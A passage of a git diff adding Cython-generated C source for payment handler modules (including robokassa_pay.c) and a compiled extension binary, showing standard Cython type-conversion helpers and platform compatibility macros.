+ return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..f10f78da Binary files /dev/null and b/handlers/payments/gift.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/robokassa_pay.c b/handlers/payments/robokassa_pay.c new file mode 100644 index 00000000..ad6dc3d3 --- /dev/null +++ b/handlers/payments/robokassa_pay.c @@ -0,0 +1,20441 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.robokassa_pay", + "sources": [ + "handlers/payments/robokassa_pay.py" + ] + }, + "module_name": "handlers.payments.robokassa_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if 